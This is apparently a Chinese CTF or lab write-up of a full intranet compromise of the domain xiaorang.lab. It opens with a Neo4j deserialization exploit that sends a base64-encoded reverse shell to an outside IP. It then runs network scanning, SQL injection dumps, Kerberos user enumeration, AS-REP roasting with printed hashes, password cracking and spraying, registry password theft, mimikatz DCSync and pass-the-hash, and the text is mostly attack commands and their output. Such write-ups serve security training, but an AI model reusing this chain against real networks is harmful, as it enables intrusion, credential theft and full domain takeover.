发现开放了7687端口,它是neo4j默认的Bolt 协议端口
Neo4j 是一个高性能的 NoSQL 图形数据库,它将事物之间的关系存储为数据库技术,广泛用于知识图谱,社交关系链,商品推荐,IT架构,商品主数据等领域。
在Neo4j 3.4.18及以前,如果开启了Neo4j Shell接口,攻击者将可以通过RMI协议以未授权的身份调用任意方法,其中 setSessionVariable
方法存在反序列化漏洞。
因为这个漏洞并非RMI反序列化,所以不受到Java版本的影响。在Neo4j 3.5及之后的版本,Neo4j Shell被Cyber Shell替代。
vulhub/neo4j/CVE-2021-34371/README.zh-cn.md at master · vulhub/vulhub · GitHub
java -jar rhino_gadget.jar rmi://39.98.107.135:1337 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTI0LjcxLjExMS42NC8xMTIyIDA+JjE=}|{base64,-d}|{bash,-i}"
反弹shell
拿flag
查看网卡信息
得到内网IP 172.22.6.36
fscan扫描内网
(remote) neo4j@ubuntu:/home/neo4j$ ./fscan -h 172.22.6.36/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` '|/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 2.0.0
[*] 开始信息扫描...
[*] CIDR范围: 172.22.6.0-172.22.6.255
[*] 已生成IP范围: 172.22.6.0 - 172.22.6.255
[*] 已解析CIDR 172.22.6.36/24 -> IP范围 172.22.6.0-172.22.6.255
[*] 最终有效主机数量: 256
[-] 正在尝试无监听ICMP探测...
[-] 当前用户权限不足,无法发送ICMP包
[*] 切换为PING方式探测...
[+] 目标 172.22.6.12 存活 (ICMP)
[+] 目标 172.22.6.25 存活 (ICMP)
[+] 目标 172.22.6.36 存活 (ICMP)
[+] 目标 172.22.6.38 存活 (ICMP)
[+] ICMP存活主机数量: 4
[*] 共解析 218 个有效端口
[+] 端口开放 172.22.6.38:80
[+] 端口开放 172.22.6.38:22
[+] 端口开放 172.22.6.36:22
[+] 端口开放 172.22.6.25:445
[+] 端口开放 172.22.6.12:445
[+] 端口开放 172.22.6.12:139
[+] 端口开放 172.22.6.25:139
[+] 端口开放 172.22.6.25:135
[+] 端口开放 172.22.6.12:135
[+] 端口开放 172.22.6.12:88
[+] 端口开放 172.22.6.36:7687
[+] 存活端口数量: 11
[*] 开始漏洞扫描...
[!] 扫描错误 172.22.6.25:445 - read tcp 172.22.6.36:52634->172.22.6.25:445: read: connection reset by peer
[*] NetInfo
[*] 172.22.6.12
[->] DC-PROGAME
[->] 172.22.6.12
[*] NetBios 172.22.6.25 XIAORANG\WIN2019
[*] NetInfo
[*] 172.22.6.25
[->] WIN2019
[->] 172.22.6.25
[!] 扫描错误 172.22.6.12:88 - Get "http://172.22.6.12:88": read tcp 172.22.6.36:44958->172.22.6.12:88: read: connection reset by peer
[*] NetBios 172.22.6.12 [+] DC:DC-PROGAME.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] 网站标题 http://172.22.6.38 状态码:200 长度:1531 标题:后台登录
[*] OsInfo 172.22.6.12 (Windows Server 2016 Datacenter 14393)
[*] 网站标题 https://172.22.6.36:7687 状态码:400 长度:50 标题:无标题
[!] 扫描错误 172.22.6.38:22 - ssh: handshake failed: ssh: unable to authenticate, attempted methods [none], no supported methods remain
[!] 扫描错误 172.22.6.36:22 - ssh: handshake failed: ssh: unable to authenticate, attempted methods [none], no supported methods remain
[+] 扫描已完成: 11/11
[*] 扫描结束,耗时: 14.039383744s
整理信息
172.22.6.12 DC:DC-PROGAME.xiaorang.lab 域控
172.22.6.25 WIN2019.xiaorang.lab 域内主机
172.22.6.36 neo4j web入口机 已拿下
172.22.6.38 内网web机 开放80端口
搭建内网代理
./linux_x64_admin -l 1111
./stowaway_agent -c 124.71.111.64:1111
use 0
socks 1123
有web先看web
打开是一个登录框 (存在sql注入)
python sqlmap.py -r url.txt -D oa_db -T oa_f1Agggg --dump
数据库中获取flag02
从数据库的另外两个表里分别获取到了
管理员的密码
bo2y8kAL3HnXUiQo administrator
从user表里面获取到了500个用户的信息
相关知识可以看这篇文章 Kerberos Brute-Force
发现这些用户都是域名结尾。其中很可能就有有效的域用户
使用 Kerbrute 进行枚举出有效的域内用户
kerbrute userenum --dc 172.22.6.12 -d xiaorang.lab user.txt -o valid_users.txt
这里因为本地无法与域控通信,用web入口机执行
枚举出74个有效的域内用户 保存到本地 valid_users.txt
并做一下处理
相关知识 AS-REP-Roasting
对于域用户,如果设置了选项
Do not require Kerberos preauthentication
(不要求Kerberos预身份认证),此时向域控制器的88端口发送AS-REQ请求,对收到的AS-REP内容重新组合,能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以使用hashcat或是john对其破解,最终获得该用户的明文口令
查找未设置预认证的域用户
proxychains -q impacket-GetNPUsers -dc-ip 172.22.6.12 -usersfile valid_users.txt xiaorang.lab/
获取到了两个账号
$krb5asrep$23$wenshao@xiaorang.lab@XIAORANG.LAB:92b7ca3f79f7382b0c4b149ea346b6fd$8b2d6b4259aa9d41f29797d0f57c921e52f45367f6f593fcc2eafb8b6b3f05f58a0892e356abf07bfcadcb47a067b0a84c52754ffadc97bcaa0066416522461fa10ac935c35e517b5a486685d08eeed13cca0f8ae0dc44f1ea2a532f9d54b991897cd5dee05ff8f8990600d489085ac6bb977ecc5a6c0c8be1ccb7bed713c135cc9cb9b9e1c15101469ba4b92f33b16534aafb2d6e5c95bd8854686a1e4071cd16b3332453f459859a3cbb245cd498c3906f97f4bafb10efaca557ac22f1daea408a0d7fc577b79420177ac74af7eab79854f374a805a48377ea77eda165d20cf340e639a5c760098755aad3
$krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:24e00a36047878cd0f30969516dc0ec6$bf0b363a996d3053f7e02899a5c7f64901fff11e689fa8e9131f0001e366bb44db6635be26606f5e0e256a5e23a67ff3be18b631a1efd68204b5166f982f5184b8117564798a2177dbad5cb42b2fcf391714cded678db2a70379b20d04684e781e49cab1f2507e62920dcc4cc06c93621220a1b65f93d4c5303658bd32b3e0f83c587e7b0ea217c41989da50397203629d2684476415a74a4f40d20a181dc0c5248c6e652d33d6f0693d96ec13aa84baea6335b1b76bd3a95ae140b803aeca5586fe910edbb6a0a3cfb4df2a4ba79fb4e6445471476f00f3db7bbc607ba20ab60d734ec9d36e0f0b176875a5
hashcat -m 18200 -a 0 --force hash.txt rockyou.txt
成功获取账号密码
zhangxin@xiaorang.lab strawberry
wenshao@xiaorang.lab hellokitty
这里我用 nxc 进行密码喷涂,以前一直用的 crackmapexec 但是前几天把kali更新后用起来会报错
proxychains -q nxc rdp 172.22.6.0/24 -u vuser.txt -p valid_pass.txt --no-bruteforce
发现 xiaorang.lab\wenshao:hellokitty
可以登录 172.22.6.25
这里用户名字典不需要加上域名,因为nxc会自动获取域名,加上的话就重复了
上传SharpHound进行数据采集,
SharpHound.exe -c all
然后导入 bloodhound 分析
发现我们当前的机器 WIN2019
上面保存有 YUXUAN
用户的密码,YUXUAN
用户又包含了域管用户的 SID
那我们就可以通过 YUXUAN
用户进行 ../../../24-渗透姿势库/4-横向移动/1-Credentials/DCSync 拿下这整个域
HasSession:用户与计算机时进行会话时,凭据会保留在内存中,说明yuxuan这个用户登录过WIN2019
很多用户习惯将计算机设置自动登录,可以使用MSF抓取保存在注册表中自动登录的用户名和密码
这里直接rdp上去 用Powershell使用命令获取保存的密码
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
获取到了yuxuan用户保存的密码
DefaultUserName REG_SZ yuxuan
DefaultPassword REG_SZ Yuxuan7QbrgZ3L
DefaultDomainName REG_SZ xiaorang.lab
登录上面的账号,因为我们当前账号包含了域管的SID,所以我们也有与域管相同的特权与权利
直接 DCSync 获取域管的hash
先传一个 mimikatz
log 1.txt
lsadump::dcsync /domain:xiaorang.lab /user:administrator #导出域管的hash
获取到了域管的hash后直接3.PTH 到这两台主机上拿flag即可
proxychains impacket-wmiexec xiaorang/administrator@172.22.6.25 -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 -codec gbk
proxychains impacket-wmiexec XIAORANG/administrator@172.22.6.12 -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 -codec gbk
type C:\Users\Administrator\flag\flag*